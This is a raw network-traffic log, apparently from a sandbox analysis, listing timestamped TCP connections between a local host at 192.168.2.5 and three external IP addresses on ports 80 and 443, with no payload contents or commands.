Nov 18, 2024 19:04:33.829641104 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.829657078 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.829682112 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.829761982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.829777956 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.829792976 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.829809904 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.829814911 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.829835892 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.829862118 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.829888105 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.829932928 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830048084 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830063105 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830077887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830089092 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830095053 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830101013 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830120087 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830137968 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830161095 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830245018 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830338001 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830387115 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830398083 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830414057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830440998 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830447912 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830624104 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830638885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830655098 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830677986 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830723047 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830730915 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830744028 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.830770016 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.830785036 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.877985954 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.878262997 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.878321886 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.880875111 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:33.880994081 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:33.881124973 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:33.881192923 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881207943 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881225109 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881242990 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.881256104 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.881273985 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.881503105 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:33.881520987 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:33.881848097 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881864071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881887913 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881902933 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881918907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.881918907 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881934881 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881942034 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.881952047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881968021 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.881968021 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.881988049 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.882023096 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.885559082 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.885574102 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.885588884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.885627985 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.898592949 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.898693085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.898710012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.898731947 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.898734093 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.898750067 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.898766041 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.898789883 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.898814917 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899072886 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899090052 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899105072 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899120092 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899136066 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899197102 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899204969 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899220943 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899224997 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899243116 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899245024 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899262905 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899267912 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899276972 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899305105 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899347067 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899363995 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899377108 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899391890 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899408102 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899439096 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899452925 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899553061 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899568081 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899585009 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899600029 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899636030 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899847984 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899863005 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899877071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899892092 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899908066 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899914980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899930954 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.899955988 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.899979115 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.900053978 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900069952 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900089025 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900105000 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900110006 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.900144100 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.900216103 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900232077 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900248051 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900306940 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.900310993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900326967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900343895 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900360107 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900361061 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.900368929 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.900386095 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.900402069 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.900486946 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900510073 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900523901 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.900530100 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.900562048 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.901027918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.901042938 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.901057005 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.901065111 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.901093006 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.938486099 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.948180914 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.948195934 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.948210001 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.948260069 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.948282957 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.948508024 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.948523998 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.948539972 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.948561907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.948605061 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.993801117 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.993819952 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.993834972 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.993937969 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.051492929 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.051521063 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.051537037 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.051587105 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.053776979 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.053792000 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.053807020 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.053839922 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.053874016 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.177156925 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.177414894 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.177491903 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.178397894 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.178576946 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.178631067 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.239007950 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.239033937 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.239104986 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.240165949 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.240453005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.240508080 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.247661114 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.247677088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.247693062 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.247731924 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.297843933 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.371638060 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.371686935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.371702909 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.371820927 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.426215887 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.426362991 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.426388025 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.426424980 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.426719904 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.426775932 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.437336922 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.437352896 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.437369108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.437419891 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.559412956 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.559468985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.559504032 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.559561014 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.603147030 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:34.603218079 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:34.603426933 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:34.603961945 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:34.603998899 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:34.608880997 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.609064102 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.609148979 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.609812975 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.609877110 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.610431910 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.610882998 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.610943079 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.611166000 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.611753941 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.611812115 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.613583088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.657319069 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.743690968 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.743772030 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.743808031 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.743891001 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.797736883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.797755003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.797770977 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.797827959 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.797889948 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.799974918 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.800458908 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.800513983 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.801249981 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.801397085 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.801495075 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.802270889 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.802536011 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.804570913 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.914855003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.914998055 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.915076017 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.915482998 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.915786028 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.915833950 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.965898037 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.965934038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.965969086 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.966001987 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.972992897 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.973042965 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.973054886 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:34.973078012 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:34.973123074 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.008462906 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.008627892 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.008712053 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.071405888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.071476936 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.071515083 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.071558952 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.116175890 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.116211891 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.116245031 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.116293907 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.116368055 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.120707989 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.120884895 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.120949030 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.121970892 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.122133970 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.122189999 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.226629972 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.227372885 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.227488995 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.229355097 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.229401112 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.229458094 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.229464054 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.229494095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.229527950 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.229588985 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.256906033 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.257026911 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.257160902 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.258002996 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.258037090 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.258057117 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.260452032 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.260484934 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.260518074 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.260519028 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.260569096 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.286955118 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:35.287054062 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:35.289872885 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:35.289879084 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:35.290118933 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:35.291518927 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:35.291688919 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:35.291723013 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:35.292108059 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:35.292118073 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:35.378778934 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.378797054 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.378810883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.378961086 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.381020069 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.381057024 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.381071091 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.381119967 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.381139040 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.407782078 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.407887936 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.407932043 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.407963991 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.408083916 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.408085108 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.411541939 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.411576986 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.411608934 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.411653042 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.413523912 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.413558960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.413629055 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.521537066 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.521584034 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.521773100 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.523389101 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.523567915 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.523753881 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.524827003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.524858952 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.524909019 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.524930954 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.549618006 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.549662113 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.549694061 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.549726009 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.549911976 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.550035000 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.551131964 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.551151037 CET	80	49979	62.76.234.151	192.168.2.5
